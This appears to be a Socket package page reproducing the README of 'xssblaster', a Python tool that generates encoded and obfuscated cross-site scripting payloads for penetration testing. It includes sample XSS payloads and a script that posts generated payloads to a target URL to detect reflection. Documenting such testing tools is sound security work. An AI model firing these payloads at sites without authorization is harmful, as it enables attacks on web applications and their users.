
Product
Rust Support Now in Beta
Socket's Rust support is moving to Beta: all users can scan Cargo projects and generate SBOMs, including Cargo.toml-only crates, with Rust-aware supply chain checks.
โโโ โโโโโโโโโโโโโโโโโโโ โโโโโโโ โโโ โโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโ โโโโโโโโโโโโโโโโ โโโโโโโโโโโ โโโโโโโโโโโโโโโโ โโโ โโโโโโ โโโโโโโโ
โโโโโโ โโโโโโโโโโโโโโโโ โโโโโโโโโโโ โโโโโโโโโโโโโโโโ โโโ โโโโโโ โโโโโโโโ
โโโโ โโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโ โโโ โโโโโโโโโโโ โโโ
โโโ โโโโโโโโโโโโโโโโโโโ โโโโโโโ โโโโโโโโโโโ โโโโโโโโโโโ โโโ โโโโโโโโโโโ โโโ
Advanced XSS Payload Generator with 40+ Encoding Techniques
A modern, production-ready XSS payload generator with comprehensive encoding techniques, smart configuration management, and professional-grade testing capabilities. Built for security professionals, penetration testers, and bug bounty hunters.
{n}
syntax~/.config/xssblaster/my-xss.txt
โ package โ built-in# Install as a global tool (preferred)
uv tool install xssblaster
# Or add to project
uv add xssblaster
pip install xssblaster
git clone https://github.com/yourusername/xssblaster.git
cd xssblaster
uv sync --dev
Requirements: Python 3.10+
# XSS Blaster automatically initializes on first run
xssblaster
# ๐ First run detected! Setting up XSS Blaster configuration...
# โ
Configuration initialized at: ~/.config/xssblaster
# ๐ Default payload file: ~/.config/xssblaster/my-xss.txt
# ๐ก You can edit this file to customize your payloads.
# Basic payload generation
xssblaster -o payloads.txt
# Generate with specific encodings
xssblaster --base64 --unicode --hex -o encoded.txt
# Use custom payload file
xssblaster -i my-payloads.txt -o output.txt
# Add prefix/suffix wrappers
xssblaster -p '<script>' -s '</script>' -o wrapped.txt
# Initialize/reset configuration
xssblaster --init-config
# Multiple encoding combinations
xssblaster --jsfuck --base64 --unicode -o advanced.txt
# Context-specific testing
xssblaster --html --css --hex -p '">' -s '<script>' -o attribute_break.txt
# Generate without writing to file (preview)
xssblaster --base64 --no-output
XSS Blaster can be used as a Python module in your own scripts and applications:
from xssblaster import generate_payloads
# Generate payloads with default settings
payloads, base_count, total_count = generate_payloads()
print(f"Generated {total_count} payloads from {base_count} base vectors")
# Iterate through payloads
for counter, payload in payloads:
print(f"[{counter}] {payload}")
from xssblaster import generate_payloads
# Configure specific encodings
variant_filters = {
"base": True, # Include base payloads
"base64_encode": True, # Base64 encoding
"unicode_escape": True, # Unicode escaping
"html_entity": True, # HTML entity encoding
"hex_encode": True, # Hexadecimal encoding
"jsfuck": True, # JSFuck obfuscation
}
payloads, base_count, total = generate_payloads(
prefix='<script>',
suffix='</script>',
variant_filters=variant_filters
)
# Process payloads
for counter, payload in payloads:
print(f"Payload {counter}: {payload}")
from xssblaster import generate_payloads
# Use custom payload file
payloads, base_count, total = generate_payloads(
payload_file='/path/to/custom-payloads.txt',
variant_filters={"base": True, "base64_encode": True}
)
# Save to file
with open('output.txt', 'w') as f:
for counter, payload in payloads:
f.write(f"{payload}\n")
import requests
from xssblaster import generate_payloads
def test_xss_endpoint(url, param_name):
"""Test an endpoint for XSS vulnerabilities"""
# Generate payloads with specific encodings
payloads, _, total = generate_payloads(
variant_filters={
"base": True,
"html_entity": True,
"unicode_escape": True
}
)
print(f"Testing {total} payloads against {url}")
for counter, payload in payloads:
# Test payload
data = {param_name: payload}
response = requests.post(url, data=data)
# Check if payload is reflected
if payload in response.text:
print(f"[POTENTIAL XSS] Payload {counter}: {payload}")
# Rate limiting
time.sleep(0.1)
# Usage
test_xss_endpoint('https://example.com/search', 'query')
When using the module, you can enable specific encodings with variant_filters
:
variant_filters = {
# Basic encodings
"base": True, # Original payloads
"base64_encode": True, # Base64 encoding
"unicode_escape": True, # Unicode escaping (\u0041)
"hex_encode": True, # Hex encoding (\x41)
"octal_encode": True, # Octal encoding (\101)
# HTML encodings
"html_entity": True, # HTML entities (A)
# Advanced obfuscation
"jsfuck": True, # JSFuck encoding
}
Short | Long | Description |
---|---|---|
-o | --output | Output file to write payloads |
-i | --input | Custom payload file (default: ~/.config/xssblaster/my-xss.txt) |
-n | --no-output | Don't write to output file, just show statistics |
--init-config | Initialize user config directory | |
-p | --prefix | Prefix to prepend to each payload |
-s | --suffix | Suffix to append to each payload |
--ep | Encode prefix | |
--es | Encode suffix | |
--version | Show program's version number |
Short | Long | Description |
---|---|---|
-c | --charcode | String.fromCharCode encoding |
-b | --base64 | Base64 encoding |
-U | --unicode | Unicode escape encoding |
-H | --hex | Hexadecimal encoding |
-O | --octal | Octal encoding |
-D | --decimal | Decimal encoding |
Short | Long | Description |
---|---|---|
--html | HTML entity encoding |
Short | Long | Description |
---|---|---|
-j | --jsfuck | JSFuck encoding (extreme obfuscation) |
This tool is designed for:
โ ๏ธ Always obtain proper authorization before testing. Stay legal, stay ethical!
~/.config/xssblaster/my-xss.txt
-i/--input
Payloads use {n}
as a placeholder for dynamic counter replacement:
prompt({n}) # Becomes: prompt(1), prompt(2), etc.
<img onerror=alert({n})> # Becomes: <img onerror=alert(1)>, etc.
Each payload is numbered for easy identification:
[1] prompt(1)
[2] alert(2)
[3] <script>confirm(3)</script>
xssblaster/
โโโ .github/workflows/ # CI/CD automation
โโโ tests/ # Comprehensive test suite
โโโ xssblaster/ # Main package
โ โโโ __init__.py # Package initialization
โ โโโ cli.py # Command-line interface
โ โโโ core.py # Payload generation engine
โ โโโ utils.py # Utility functions
โ โโโ my-xss.txt # Default payload collection
โโโ pyproject.toml # Modern Python packaging
โโโ README.md # This documentation
# Clone and setup development environment
git clone https://github.com/yourusername/xssblaster.git
cd xssblaster
uv sync --dev
# Run tests with coverage
uv run pytest --cov=xssblaster --cov-report=term-missing
# Run linting and formatting
uv run ruff check .
uv run ruff format .
# Run all quality checks
uv run pytest && uv run ruff check .
We welcome contributions! Please:
XSS Blaster has been featured in:
Amit Agarwal
This project is licensed under the MIT License - see the LICENSE file for details.
If XSS Blaster helped you in your security testing:
Happy Ethical Hacking! ๐ฏ
FAQs
Advanced XSS Payload Generator with 40+ encoding techniques
We found that xssblaster demonstrated a healthy version release cadence and project activity because the last version was released less than a year ago.ย It has 1 open source maintainer collaborating on the project.
Did you know?
Socket for GitHub automatically highlights issues in each pull request and monitors the health of all your open source dependencies. Discover the contents of your packages and block harmful activity before you install or update your dependencies.
Product
Socket's Rust support is moving to Beta: all users can scan Cargo projects and generate SBOMs, including Cargo.toml-only crates, with Rust-aware supply chain checks.
Product
Socket Fix 2.0 brings targeted CVE remediation, smarter upgrade planning, and broader ecosystem support to help developers get to zero alerts.
Security News
Socket CEO Feross Aboukhadijeh joins Risky Business Weekly to unpack recent npm phishing attacks, their limited impact, and the risks if attackers get smarter.